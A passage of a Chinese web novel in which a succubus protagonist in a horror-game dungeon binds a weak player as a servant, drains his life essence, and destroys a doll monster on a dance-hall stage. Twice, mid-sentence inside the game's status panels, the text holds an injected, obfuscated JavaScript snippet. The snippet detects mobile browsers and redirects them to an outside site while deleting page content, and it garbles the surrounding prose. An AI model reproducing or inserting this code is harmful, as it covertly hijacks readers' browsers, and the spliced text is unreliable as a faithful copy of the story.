唾液在口腔中迅速分泌,叶绯喉结滚动了一下,低头看向沙发诡:“龟龟,你知道哪个地方100%能遇到人类吗?我要活蹦乱跳的人类。” “哼叽哼叽……(思考思考……)”沙发诡扭动着身子,眼仁咕溜溜乱转,显示它正在努力思考。 片刻后,它像一颗牛肉丸般Q弹爽滑地蹦了三尺高。 “吱!(找到了!)” “咦?那你很棒棒哦!”叶绯不由感到意外。 沙发诡居然还能和地狱犬一样派上用场? 激动的心,颤抖的手! 叶绯穿过左弯右绕如迷宫般的走廊,下了三层昏暗的楼梯,还钻过了一段墙缝。 虽然沙发诡带的路有点刁钻,但好在畅通无阻,别说是人了,他们连个诡也没碰上。 终于,一魔一诡来到一扇由外侧上锁的木门前。 遍布污垢的门牌上,隐约还能看到“候场室”三个字。 沙发诡把自己压扁,像一滩液体般从门缝底下挤了进去。 叶绯解开门锁,走了进去。 霎时,一声声浑厚的哀嚎灌入双耳。 “学不会……怎么办啊,舞步学不会!!!” “脚扭了,好痛……我要死了,呜啊啊啊啊——” 穿着白色羽毛亮片连衣裙的浓妆小胖墩正在对着镜子笨重地舞动。 严谨地说,说这是在“舞动”都是对这个词的侮辱了。 小胖墩就像是刚从墓地里复活的活尸正在习惯新接上去的四肢,每条胳膊每条腿都像是有自我意识般各跳各的,简直是跳舞鬼才。 就连镜子里的东西也即将崩溃了,它自顾自地奉献出完美的舞姿,似乎是被赋予了教导小胖墩跳舞的职责,奈何朽木不可雕也,有的人以死相逼能激发出强大的潜力,但没有潜力的人将他逼死都激发不出半个屁。 镜子里透出的怨恨目光如刀子般戳在小胖墩身上,小胖墩嘴里重复念叨着“学不会要死了”,镜子里的东西已经紧绷得快要裂开了。 而在注意到叶绯的到来后,镜子里的东西浑身一颤。 “咔嚓”一下,镜子真的出现了裂纹。 镜子里的东西又离开了。 叶绯:……又有谁惹到它了? 小胖墩一时声泪俱下、涕泗横流:“兄弟!怎么连你也走了啊!说好的包教包会呢!” “你该庆幸他教不会你。”叶绯挑眉,根据自己的推测说,“镜诡的杀人规则应该是‘模仿’,只要镜子里外姿态一致,它就能夺取你的身体。” “可我待会儿上台表演,跳成那个鬼样子,只会死得更惨啊!”小胖墩转过身,顶着一张抽象派大花脸,一边用手背胡乱地擦着泪眼,语气里带着希冀地询问,“帅哥,你是新来的舞蹈老师吗?” “有没有可能,我是来救你的?”叶绯面上带着营业式的温柔微笑,余光瞥向沙发诡。 沙发诡高兴地颤了颤,叽叽呀呀个不停,跟唱歌似的。 ——献给高贵的主人,主人不必谢,您点的鲜嫩多汁、口感劲道的美味人类已经上新,请尽快享用! “哎~”叶绯沉沉叹了口气。 是他的错,他怎能假定一直没眼界没见识的小诡能跟他一样充满智慧、品味高雅呢? 好歹沙发诡的确按照他的要求,给他找了个活蹦乱跳、手脚俱全的人类,这点值得赞扬。 虽然小胖墩的灵魂很孱弱,精气很虚弱,肉身不含魔力,一整个色香味俱无,但来都来了,眼下只有将就着吃呗,还能扔了不成? “话说从刚才开始,哪来的老鼠一直吱哇乱叫,一点儿也不怕人……”小胖墩嘴里冒着嘀咕,用力眨了眨眼,视野终于清晰。 他总算看清了叶绯的长相。 “天、天使……?” 小胖墩感到一阵头晕目眩。 那是一种极具冲击力的、带着侵略性的美,像一束过于耀眼的光,瞬间照亮了周遭,也令他大脑嗡嗡作响,只剩下一个念头:世上竟有这样美好的人,说是天使也不为过了! 小胖墩却不知,叶绯此刻被他的话给噎住了。 有话好好说,再骂一下试试? 叶绯放平心态,暗暗说服自己不能跟愚蠢的人类计较,缓声说:“只要你乖乖听话,我能帮你渡过这次难关,甚至是赐予你自保的力量……” “大佬!!!”小胖墩膝盖一软,噗通一声跪下了。 蛊惑的话还没来得及说完的叶绯:…… 小胖墩双手高举,虔诚跪拜:“我一看大佬就知大佬绝非寻常人等,只要能救我狗命,哪怕大佬是恶魔,我也愿意献上灵魂!” 在这种要命的鬼地方遇到一个来历不明的帅哥大佬,这说明什么? 说明他占了小弟位啊! 无敌流主角身边,怎么能够缺个吐槽役的胖子! 小胖墩沉浸在抱到大腿的喜悦中,叶绯目光幽深,语气里带着淡淡的宠溺。 “你啊你,真是个傲慢得可爱的无信者啊~” 居然敢说出“对恶魔献上灵魂”这样的话。 呵呵,假如之后遇到的人类也能像眼前这个一样轻易上钩就好了。 3. 第 3 章 原本叶绯只是想将小胖墩当个移动储备粮,但对方的表现着实出乎了他的意料,对方既不是被他的美貌诱惑,也不是被他的话语蛊惑,而是臣服在他的实力之下。 这一波马屁真是结结实实地落在了叶绯的心趴上,他就欣赏有眼光的人类! 叶绯把手掌放在了小胖墩天灵盖上,犹如上位者在怜悯一个一无所有的乞丐。 “你叫什么名字?” “丁宝坤,园丁的丁,宝贝的宝,乾坤的坤。”对上叶绯包容的眼神,丁宝坤莫名有点想哭。 太温柔了,他整个人仿佛被浸泡在一汪温泉里,有股暖意透过他的身体直达内心深处。 叶绯满意地轻笑出声:“我应允你的愿望,丁宝坤,你的灵魂我就收下了。” 微弱的粉色光芒在叶绯的指尖一闪而过。 与此同时,丁宝坤的灵魂深处,有一枚印记熠熠生辉。 印记主体是一颗被荆棘缠绕的爱心,爱心被荆棘从正中撕裂——这正是叶绯的魔痕。 从爱心裂口处流淌的魔力,如汩汩鲜血般沿着丁宝坤体内的每一根神经、每一条血管、每一块骨骼蔓延至全身。 丁宝坤感受到的不是痛苦,也不是愉快,而是某种比这两者都更加根源的东西。 是完整。 是认知被升华的感觉。 他看到了,在无星无月、无光无暗的永恒乐园中,伟大的魔主正温柔地将他的灵魂拥护于掌心之中,并赐予他超凡的力量。 从这一刻起,丁宝坤便成了魅魔忠诚的仆从。 而沉浸在这种玄妙感觉之中的丁宝坤,并不知晓自己的身体正在发生剧烈的变化。 发色的浓黑像墨水般迅速消退,变成了枯草般的灰白,然后身体为了应付生命力的极速消耗,像一台过热的机器般极速运转起来,通过让囤积多时的丰厚脂肪快速燃烧的方式,将潜能全部释放出来。 汗水如瀑布般落下,一个两百多斤但肉质结实的小胖墩,以肉眼可见的速度瘦了下来。 叶绯感到自己枯竭的身体终于迎来甘霖,从丁宝坤那汲取来的精气飞速转化成魔力,虽然不多,只让他恢复了不到十分之一的程度,但至少解了燃眉之急。 “原来这就是精气,真是……” 叶绯深深地吐出一口气,沉醉地眯起眼睛:“令魔上瘾啊!” 这是一种无法用语言描述的味道,仿佛是将春天的朝露、温暖的阳光和魔界最甘美的禁果制作成糕点,一齐放入口中,让舌尖能同时感受到清澈、醇厚和甜蜜交融的复杂滋味。 叶绯身上的每一个毛孔都在舒张,像无数张饥饿的嘴,贪婪地吞咽着这股精气,只觉得汲取精气的过程比杀戮还要美妙许多! 舒服,太舒服了! 多一点。 再……多一点…… 忽然,沙发诡响起一阵激烈的吱吱声唤醒了叶绯。 “吱吱吱!”要吸死人啦! 叶绯定睛一看,哦豁,不得了。 眼前这具干瘪苍白的皮包骨是谁? 丁宝坤周身散发着淡淡的死气,竟是快被榨干了。 叶绯立刻停下汲取的动作,既然已经决定了要将丁宝坤收作仆从,就不会将其当做一次性口粮,于是赶紧反过来输送了一些精气过去。 “嗯哼哼~”丁宝坤舒服得直哼哼,根本不知道自己刚在鬼门关晃了一遭。 他的生命体征迅速稳定下来,如今看起来是个身形比较瘦弱、仿佛大病初愈的青年,和刚刚的小胖墩相比,可谓判若两人。 这一幕令观众们突然产生了一个违背常识的认知——玩家里有诡! 叶绯不是个正常人,这已经是板上钉钉的事实了,但我军卧底进敌方,并且当众大快朵颐、大吃大喝、大饱口福,绝对有哪里不对劲,谁知道背后有什么肮脏的PY关系! 要不怎么说忮忌令诡发狂,臣妾要告发噎妃与直播系统私通,秽乱副本,罪不容诛! [我看你们谁敢再说他是人?没见过哪个新手玩家的技能这么阴的!] [吓得我把眼球拿出来轻轻冲洗。] [他就算不是完整的诡,也应该是半人半诡,本诡事先欢迎一下半只脚踏进来的同行~] [未必,没准是人间土生土长的妖精呢,专门吸人精血!] [人诡杂交的产物罢了,但素仙鸡有别,供本可赏乐的野鸡再怎样也变不成凤凰,不知道在座各位没见过世面的诡诡们干嘛大惊小怪惹。] [前面什么文体,我一个诡博士居然看不懂……] 丁宝坤清醒后,稀罕地打量着镜子里的自己。 浓妆被汗水冲掉后,露出了他的原生面孔,圆圆脸、大眼睛,谈不上帅哥,但也是亲和可爱的耐看样貌。 “感谢master的恩赐!” 他从小到大都没有瘦过,因为胖嘟嘟圆滚滚的体型不知道被叫了多少声“肥猪”,如今竟然无痛逆袭成鲜肉了! 丁宝坤对叶绯的感激一波接着一波往上涌,正好此时他是跪着的,他顺势支起一个膝盖,变成单膝跪地的姿势,一只手放在心口,虔诚地高呼:“您,是我滴神!” “现在就我们两个,少整这些没用的。”叶绯摆摆手,“既然感谢我的话,就跟我仔细说说你触发的任务是什么,以及你进入副本后,都收集到了什么有用信息?” 丁宝坤当即将今天的经历一五一十地讲给了叶绯。 “我穿进来后,广播让我换衣服,我不敢换太漂亮的,怕触发什么难搞的隐藏任务,也不敢换太丑的,怕丑衣服上有毒,就选了套勉强能看得过眼的运动服。” “然后就有个干尸一样的鬼走进来,把我抓到了舞厅后台,丢给我这套小裙子,命令我赶紧照着镜子练舞,正式演出我出了问题就把我血放干,然后……我就一直在练舞了,啥都不知道了。” 丁宝坤心虚地偷瞄叶绯,他只是一个普通人,贪生怕死,遇到危险后就失去了冷静,完全没想到要收集信息…… 叶绯倒也没觉得失望,没有期望又哪来的失望? 他敏锐地抓住了丁宝坤话中的重点:“那套运动服呢?” “就在这呢!”丁宝坤连滚带爬地起身,从旁边的衣架上将自己穿过的运动服交给叶绯。 藏蓝色的运动服,带着新鲜血液的气味,颜色不显脏,但在灯光下能看到不少溅射状的血渍。 叶绯往运动服的口袋里掏了掏,很快在内兜口袋里发现了一张人皮。 柔软的人皮,还带着一丝余温,上面是某种利器划出的字迹,有些潦草但能辨认。 【继任的同志,当你看到我留给你的信时,说明我已经死了。请你用摄像机记录歌舞厅的真相,我们要让外界看到这里发生的一切!】 【1、摄像机藏在舞台背景的灯光下。】 【2、美容中心仓库的密码是07113。】 【3、将摄像机从歌舞厅里带出去。】 “叮”的一下,系统传来任务提示。 【触发支线任务:卧底记者(和玩家丁宝坤共享任务)】 【任务介绍:我们汇聚在这里,是为了让微小的火光照亮黑夜。使用摄像机拍摄美容中心仓库,并将摄像机带出歌舞厅。】 【任务奖励:5积分】 【失败惩罚:死亡】 丁宝坤惊得目瞪口呆:“哎哟卧槽!触发任务了!这么大个线索藏在衣服里,我居然都没发现……” 叶绯:“给我你的技能信息。” 闻言,丁宝坤直接打开自己的属性面板给叶绯过目。 【丁宝坤(见习玩家)】 【污染度:1.1 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17414935|200737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 】 【积分:0】 【技能:梦呓LV.1(主动技能,三秒入睡,加速身体修复,有一定概率能够将副本隐藏信息以梦呓的形式表达出来,极低概率能够梦到不可思议的事情,但久睡不醒反而会导致身体虚弱、感官衰退,甚至让灵魂迷失在梦中世界导致肉身死亡。睡眠虽好,切忌贪多。)】 emm……叶绯打量了丁宝坤好几眼。 “说你是战五渣都算抬举你了。” 丁宝坤显然也知道自己菜得多可怕,尴尬地摸了摸鼻子:“虽然我没有运动细胞,但我有个能力,是其他人开跑车都追不上的!” 叶绯怀疑:“有吗?” “我抱大腿的能力啊!”丁宝坤骄傲地抬起下巴。 是叶绯让他明白,选择比努力重要一万倍。 以前的他不信命,直到他看见亲爱的master,才知道受作者偏爱的感觉是怎样的,以后他要每天烧香,祈求master能征服世界。 叶绯:“……观众知道你有多爽吗?” [住口住口住口!] [剪秋,本宫的头好痛,本宫大体是病了,得了一种看噎妃过得好就哪哪都不舒服的绝症……] [噎妃一巴掌,狗腿子更是降龙十八掌,都是玩家,大丁子你这么舔像话吗?你身为玩家的尊严呢!] [大丁子,你听好,舔狗这标签,粘上就永远有印记了。] “他们当然知道我多爽啦!”丁宝坤瞄了眼弹幕,对叶绯谄媚,同时对观众的挑唆嗤之以鼻,“嘿嘿~骂我舔,他们想舔都舔不上您呢!” 丁宝坤已经舔出了骄傲,舔出了风采,舔出了独特的自我,至于那些举大旗的观众? 呵,不过是眼红他被master带飞的跳脚酸鸡罢了! 他是否舔对了魔,马上就能见分晓。 秒针滴滴答答地走着,忽然,广播内划过一道刺耳的电流音,仿佛预兆着即将有大事发生。 紧接着,热情洋溢的男声欢呼宣告。 “女士们,先生们,尊敬的顾客们,午夜好!很荣幸能够在此引导各位的行动。” “本日的第一场歌舞秀即将上演,歌舞厅在一楼,请位于其他楼层来不及立刻就座的顾客及时过来抢占他人的座位,盗窃他人的身份,演出不会等待你们。” 果然,大节目要开演了。 丁宝坤恭敬地问:“master,任务时间到了,我该怎么做?” 叶绯思索片刻,眸中划过一抹暗芒:“你在旁边看着就行。” “是。” 广播提醒后,两人身旁的一扇门悄然打开,从门缝探进半张干尸脸。 “伴舞准备好了吗,该上场了!”干尸脸发出尖细的催促声,可视线刚落到叶绯身上就噎住了,“你、你……” “我好看吗?”叶绯冲干尸脸笑了一下。 霎时,魅力化作无形的大手攥住了干尸脸的思考,竟令那张死灰的面皮透出点紫红色。 干尸脸结结巴巴地说:“你是、夜莺,不该在这里……” “我想去哪儿,就去哪儿。”叶绯颐气指使地说,“别磨蹭了,带我们上台。” 干尸脸打开门,走廊尽头便是一座巨大的舞台。 空气里漂浮着一层灰烬,湿冷异常,像一块浸透了水的旧抹布,给人以窒息之感。 舞台中央,暗红色丝带盘旋交错,沿着机械装置攀爬、缠绕、交织,在灯光下泛着黏腻的光泽,仿佛是一副活着的血管网络。 【触发唯一主线任务:夜莺】 【任务介绍:对于逃离金丝笼的夜莺来说,舞台是证明自身价值的唯一机会。为了舞台,你可以牺牲什么?生命。你也就仅剩生命了。】 【任务奖励:5积分】 【失败惩罚:死亡】 4. 第 4 章 惨白灯光亮起的那一刻,原本空荡残破的观众席眨眼间便坐满了衣着光鲜的诡客。 舞台上方巨大的彩球破裂开来,红色丝带砸在舞台上,传来濡湿的响动,穿着鲜红芭蕾裙的诡偶盈盈落地。 它浑身塑料质地的皮肤有着道道龟裂的痕迹,露出腐烂发紫面部的肌肉组织,当叶绯踏上舞台的那一刻,它回过头,一只玻璃珠眼睛里倒映着叶绯的身影,另一边是黑洞洞的窟窿,窟窿边缘凝结着暗红色的污垢——是干涸的血锈。 “……夜、莺。” 诡偶红唇封闭,空灵的嗓音从它的喉咙处传出,却如泣血般哀怨。 “是我。”叶绯笑眯眯地说,“你看我美吗?” [?(当我打出这个问号的时候不是我有问题,而是你有问题!)] [这小子冷不丁的在说什么呢。] 诡偶的脑袋艰涩地扭动了360度,似乎叶绯的话就是个规则怪谈,它需要思虑周全了才能做出回答。 “……美。” 短短一个字,其中的忮忌、憎恨与贪婪都要从尾音的喑哑中溢出来了。 “嗯,幸好你还挺有眼光的,我感到很欣慰,所以……你能不能滚下台?”叶绯无辜地眨眨眼,用最礼貌的态度说着最恶毒的话,“你很丑,我很美,我不希望我的舞台上杵着个丑诡影响整体效果,如果你有足够的自知之明和对舞台的基本尊重……喂。” 铁链铮然炸响,叶绯忽然身子一侧,一抹圆弧形寒芒在他喉前一晃而过。 诡偶向叶绯甩出了右手,它的右手与手腕通过一根锈迹斑斑的铁链链接,五指在不知何时化作了五柄森寒的剥皮刀。 “居然搞偷袭,看来我们没得谈了。” 叶绯眸中杀机大盛,故作失望地叹了口气:“为什么你就不能乖乖认输,好让我节省些魔力呢?我真的生气了。” “咔嚓”一声,漆黑的魔爪在空气中划过一束暗芒,竟是硬生生扯断了诡偶连接手和腕的铁链。 “呀啊啊啊——!!!”诡偶发出一声凄厉的哀嚎,又朝叶绯甩出另一只手。 叶绯动了。 没有后退,没有闪避,而是—— 前进。 他的左脚擦着地面滑出,右脚尖点地,柔韧的腰肢以一个不可思议的弯曲角度从飞来的爪刃下方穿过,礼服的后摆被劲风带起,在空中划出一道优雅的银白弧线。 诡偶的爪刃砸在他身后半米的木质地板上,地板碎裂,碎屑四溅。 叶绯没有回头,嘴角扬起一抹愉悦又残忍的弧度,暗粉色的双眸中,诡偶的行动轨迹仿佛被调了慢倍速。 以右脚为轴,左脚离地,他的身体像一枚被拧紧后突然释放的发条,以无法被预测的轨迹旋转、飞跃起来,礼服的下摆随着他的动作绽开成一朵朵皎洁的花。 一圈,诡偶的右膝关节被踹碎。 两圈,诡偶的左臂被生生扯离躯干。 三圈,诡偶的后背被撕开一道大口。 污血飞溅在礼服上,破坏了那抹无瑕的洁净。 既然如此……索性把礼服完全变成红色的好了。 叶绯带着一抹愉悦的微笑,化身为一台比诡偶更加精确的杀戮机器,他呼吸的每一次律动、魔爪的每一次试探、足尖的每一次滑行,都在迷惑着诡偶的认知,扰乱它的动作。 从远处看,这根本不是一场战斗。 而是一支双人舞。 叶绯是领舞者,诡偶是他的舞伴——一个缺乏配合与忠诚的、正在被拆解的舞伴。 不知不觉间,诡偶便完全沦落在了叶绯的步调中。 它的四肢已经被拆卸干净,鲜红芭蕾裙仅余零星几片碎布,用一根脊骨支撑着躯干立在地板上,像是一个简陋的塑料模特。 当叶绯的魔爪再度奔着它的头颅袭来时,诡偶裂开下颚,凄厉的哀嚎化作有形的声波向四面八方辐射开来,打乱了叶绯的步调。 “我、们、才是……舞台!!!” 这哀嚎似男非男、似女非女,像是用粗糙的后期将不同人的音色强行融作一团。 只见诡偶的身体再度裂开来,确切来说,裂开的是它的肋骨。 二十四道肋骨好似蜷缩的蜘蛛腿突然伸展开来,每一根都带着各自的意志,以不同的方向和轨迹朝着叶绯突刺过去。 叶绯瞳孔一缩,魅惑的魔力倾泻而出,一根肋骨擦着他的鼻尖掠过,带起的劲风吹动了他额前的碎发。 同一瞬间,叶绯的利爪探向了诡偶的头颅。 “咔嚓。” 世界在一瞬间安静。 放置于诡偶头颅之中的核心被叶绯掏出,诡偶僵硬地定格在最后的姿态里,像是一只暴死的蜘蛛。 “我、们……管理……舞台……” 血泪从诡偶空洞的眼眶中流下,滴滴答答地落在地上。 它在原地摇摇欲坠地维持了几秒平衡,当支撑着形体的最后一丝诡力散去时,它最终还是轰然坍塌成一地碎骨。 哗啦!!! 几秒后,雷鸣般的掌声才猛然撕裂了台上的寂静。 “精彩,夜莺歌舞厅终于来了个新的台柱子!” “之前那个看都看腻了,咱们来看,不就图个新鲜么?” “再来一场!再来一场!!!” 尖叫声、口哨声、调笑声混合成一股巨大的浪潮,一朵朵玫瑰花被从台下投到台上。 诡偶的脑袋在落地后恰好面对着观众席,可它那颗玻璃眼球却咕溜溜地滚到了叶绯面前。 “……嗯?” 玻璃眼球氤氲着温润无害的光泽,叶绯捡起来一看,发现这竟然是一件没有被诡力侵蚀的法器。 【道具(辅助类):幻珠-“好戏开场”】 【出自:《夜莺歌舞厅》】 【概念:台下的欢呼与掌声,是台上的我们演出的动力,当然,能掺杂一点对过气演员的唾弃就更好了。】 【使用说明:以鲜血激活该道具,呼唤观众的幻影,影响在场所有人的意志——人生如戏,戏如人生,谁都躲不掉。】 【副作用:不分敌我的精神攻击,谁先入戏谁就输了哦?】 叶绯眯了眯眼睛:“这倒是稀奇了。” 照理来说,诡域里的空气都带着污染,法器更是释放污染的核心,怎么可能保持纯净? 哦……对了。 这里不是诡域,而是【噩梦副本】。 和原生态的诡域相比,【噩梦副本】更像是一座试炼场,虽然同样危险重重,但相对可控。 叶绯内心隐隐间产生了一个猜测:直播和噩梦游戏,或许是来自两套不一样的系统,分别对应着诡物和人类两方敌对势力。 叶绯脑海中翻涌过各种思绪,最终,他冷笑一声,不再继续思考下去。 反正诡他要杀,人他也要吃,日子就这么继续过下去呗。 叶绯将幻珠收入空间手环中,歌舞厅的喧嚣戛然而止,台下又恢复成最初荒凉的样子。 弹幕里顿时骂骂咧咧起来,诡方的失败固然难受,但玩家的成功更让他们心寒。 [1分57秒!噎妃分分钟能创造一个奇迹把我们都噎死!] [豆包豆包,帮我给叶绯销号,靴靴~] [不看了,越看越难受,他打诡偶的时间比老子打灰机都快,直接让他平推这烂图算了!] [靠了北了,为什么我都是诡了还得看天龙人坐火箭升级?] 就在刚刚,系统一下子提示叶绯完成了两个任务。 【支线任务:服务贵客(已完成)】 【完成情况:幻影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17414936|200737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中的贵客也算贵客吗?当然算,做服务行业的,哪怕是面对贵客的幻影,也得让幻影满意!前提是……你制造出来的幻影,得是真实存在过的痕迹。】 【任务奖励:10积分】 * 【唯一主线任务:夜莺(已完成)】 【完成情况:夜莺当然是要独占舞台的,然后呢?路该怎么走,只有你自己知道。】 【任务奖励:5积分】 …… “都醒醒都醒醒,再睡的话我要狠狠踹你们了。”叶绯拍了拍手,像背景板一样杵在舞台边缘的丁宝坤和沙发诡如梦初醒。 沙发诡圆溜地滚上前,对着叶绯的皮靴蹭蹭。 谁敢想呢,好歹算是一只诡,意志力居然能薄弱成这样,直接被幻珠硬控了,没救了。 叶绯幽幽地说:“不争气的东西,明明那群绿豆蝇认可了你的贵客身份,任务却不认可你,一定是你有哪里做的不到位,我真是白白服务你了。” [别骗诡了,你什么时候服务过它了?!] [就是就是,你对它呼来喝去,想踹就踹,有你这么服务的吗?!] [严禁打骂顾客的条例跟假的一样,噎妃天选霸凌咖。] “‘让顾客服务我’,这也是我提供给顾客的特殊服务,只此一家别无分号。”叶绯理不直气也壮。 [我的沉默震耳欲聋。] [求求你了,这话太拗口了,CPU要烧掉了!] 叶绯:“求什么求?求也得排队。” 沙发诡骄傲地“吱”了一声,主人全肯定!外面的诡想求主人也得排队! [草,真是见诡了,诡怎么能跪成这样。] [前面的兄die有点气到语无伦次了……] [沙发诡,这是我最后一次警告你,你从来不在乎群体的荣誉,你只在乎你自己舔得爽不爽,行行行,你最有情最有益,我宣布你已被开除诡籍了!] 丁宝坤也满脸崇拜地凑了上来:“master,您可太牛了!” 叶绯:“厉害吧?拿命换的。” 闻言,丁宝坤僵在原地,表情惊悚。 叶绯补充道:“你的命。” 丁宝坤想了想,将这句话理解为是叶绯为了保护自己的生命安全不受威胁,实现超常发挥的意思。 “我生死您的人,死是您的死人!”丁宝坤泪流满面,对于叶绯的信仰更加虔诚了。 他举着摄像机兴冲冲地说:“报告master,我的伴舞任务也完成了,刚刚是龟龟翻到背景下帮我找的摄像机的。” “吱吱~”沙发诡瞳孔扩大,表示自己很努力地在帮上忙,不是废物。 “算了。”叶绯淡淡道,“至少你们没拖后腿,值得鼓励,希望接下来去美容中心仓库的时候,你们也能保持现在的状态。” 丁宝坤诧异:“master,这儿的后续剧情咱们不管了吗?按我多年的游戏经验,像这种boss关,战斗胜利后都应该触发剧情啊!” 叶绯:剧情?不重要。 只要将副本整个掀一遍,什么东西都能找到。 现在,他只想快点找到其他人类,好好吸上两口精气,补充匮乏的魔力,魔力够了,什么都会有的。 刚刚他和诡偶打,速战速决、碾压取胜,看似是打爽了,可实际上他的魔力又见底了。 “吱吱~” 正在此时,沙发诡指了指舞台的裂缝。 这道裂缝是刚才叶绯和诡偶交战的时候,诡偶留下的痕迹。 在叶绯和丁宝坤的视线中,沙发诡像一团奶油般溶进了裂缝里。 “咔嚓。” 伴随着一道门锁被打开的声音,舞台正中央出现了一个暗坑。 鲜明的恶意从升降台的下方传来。 5. 第 5 章 沿着楼梯往下走,脚步声被逼仄的通道反复弹射,变成一种黏黏糊糊的回响。 通道尽头是一扇锈蚀的铁门,殷红的锈水滴滴答答地落下,像是一只淌着血泪的眼睛。 丁宝坤仔细观察了一下周围,并没看到什么机关按钮:“master,这门没把手也就算了,连个钥匙孔都没有,咋开啊?” “你说的没错。” 丁宝坤:? 前一秒丁宝坤还在困惑,后一秒就见叶绯的夺命大长腿“哐啷”一下把铁门踹得变了形,再“轰隆”一下将变形的铁门踹飞了出去。 丁宝坤:°口°!! “难得提出了一个有建设性的建议,很好。虽然你是我的仆从,但不代表你不需要脑子。”叶绯欣慰地点了点头。 丁宝坤以超乎自己想象的速度做好表情管理,苍蝇搓手:“master,赛高!” 谐音梗是好文明! 观众冷笑地表示他们已看穿了一切。 [信我是秦始皇还是信这小子刚才动了脑?] [参见擒屎皇!吾皇万碎万碎万万碎!] [传下去,噎妃也没有很聪明,这下他必须要不得house了。] 舞台下方的空间比叶绯预想的大得多,一眼望不到尽头,密密麻麻的塑料模特肢体被随意地摞在一起,从地面一直垒到天花板。 而天花板上,大量塑料头颅被细绳吊着。即使没有风吹过,这些塑料头颅依然在悠悠晃荡着,将怨毒的视线落在陌生的造访者身上。 “这场面有点壮观啊。” 叶绯随手捏碎一节塑料手臂。 坚硬的外壳破碎后,就见尚未孵化的蝇卵如疱疹般嵌在半腐的血肉上,几股诡力在对抗着,却又维系着微妙的平衡。 “吱!”沙发诡瑟瑟发抖地蜷缩在叶绯的脚边。 见沙发诡怕成这样,叶绯陡然意识到这场面对人类而言应该太刺激了,没想到丁宝坤竟然能一点都露怯,也是难得。 谁知他夸赞的话还没说出口,就听到了丁宝坤在背后嘀嘀咕咕:“好黑啊,比我之前打工的公司还要黑,路灯在哪,能吊死资本家的路灯在哪……” 这钝感力,令魔服气。 “打工人说要有光,于是就有了光,幸好我早就猜测可能会遇到这种情况,提前搓了个手电筒出来,嘿嘿~”丁宝坤从口袋里拿出一个粗糙的手电筒,快速转动摇杆。 叶绯在心里倒数。 3、2、1…… “啊卧槽!”当灯光亮起的刹那,丁宝坤发出一声短促的惨叫,旋即又像是被按下暂停键一样呆滞,然后腿不抖了,腰不颤了,就连后背都挺直了。 尿不小心漏出来两滴……算了,应该没人知道,就当做什么都没发生吧。 凭借魅魔敏锐的嗅觉,已经知晓一切的叶绯默默翻了个白眼。 他真是没工夫继续陪人闹了。 对着丁宝坤招招手,叶绯抬腿往更深处走去。 阴冷凝重的空气如呓语般隐现,在好似迷宫一般错综复杂的塑料肢体通道中,叶绯每次拐弯都避开了错误的方位。 但这并非是他用心思考的结果,而是位于这片空间核心的诡在给予他正确的指引。 走得越深,塑料肢体表面的裂痕便越多,这些裂痕好似有活性一般,试图冲破薄薄的壳降生于世。 终于,叶绯看到了一座塑料肢体囚牢。 塑料手臂、塑料腿、塑料躯干,乃至塑料头颅,都以一种扭曲的方式相互咬合、穿插、缠绕,大腿插进口腔,手臂从后背穿出,手指扣住另一条腿的踝关节……这些塑料肢体不是被堆叠在一起的,而是被编织在一起的,彰显出独一份的恶趣味。 囚牢的中央,是一只被脊椎骨捆缚的诡囚徒。 诡囚徒穿着衣服一件繁复至极的洛可可风裙装,层层叠叠的蕾丝、缎带、绢花和网纱装饰在白色的大裙摆上,形成一抹不容玷污的华丽。 感应到叶绯的靠近,诡抬起了头,乌木般黑亮柔顺的发丝遮挡住他的左脸。 展示在叶绯面前的右脸,有着纯白如雪的皮肤,赤红如血的嘴唇,骨骼精致而锋利,是彼岸花般开秾丽的美艳,跨越了性别的界限。 “你来了,新一任的夜莺。” 诡囚徒的声音不偏男声的低沉,也不偏女声的清亮,而是介于两者之间的某个位置,柔软又带着点漫不经心的沙哑,每一个吐字都像裹着小钩子,挠在人心尖上,让人不自觉便卸去了防备心。 叶绯挑了挑眉,至于身后的丁宝坤已经看傻眼了。 “他、他好美啊,我从来没见过这么美……” 叶绯额角青筋一跳,回身,一个巴掌丝滑地扇在了丁宝坤的脑门上。 “啪!” 这一下可把丁宝坤打清醒了。 叶绯似笑非笑,警告道:“再说些屁话丢我的脸,你舌头就别要了。” 丁宝坤捂住嘴,呜咽地讨饶:“刚刚是这个诡东西控制了我的大脑,才导致我乱说话,master才是我此生见过的最美面孔,请您明鉴呐!” 这还差不多。 叶绯看向诡囚徒,漫不经心地问:“你谁?” “我是上一届夜莺,我一直在等,等待某个人能够摧毁花罗刹的阴谋,送我一个解脱。”诡囚徒嘴角扬起一抹浅淡的弧度,瞬间便让他那股死寂的气质栩栩如生起来。 叶绯:“他怎么你了?” “其实我才是夜莺歌舞厅真正的主人。”诡囚徒一开口便是句惊天炸雷。 他注视着叶绯的眼睛,悲哀地开口道:“花罗刹原本是我的手下,他和觊觎我美貌的白绅士联手将我囚困在这里。” “我的伴舞也被他们悉数杀死,不仅要终日承受着他们的折磨,还要被他们当成禁锢我力量的工具。” “现在在舞台上表演的人偶,就是他们将最优秀的几个伴舞活生生拆解后再拼接而成的。让这样的东西上台演出,玷污的不仅是舞台,更是夜莺歌舞厅的名声……恐怕现在的夜莺歌舞厅已经没落了吧。” 丁宝坤被诡囚徒的故事打动,讷讷低喃了一句“好可怜”。 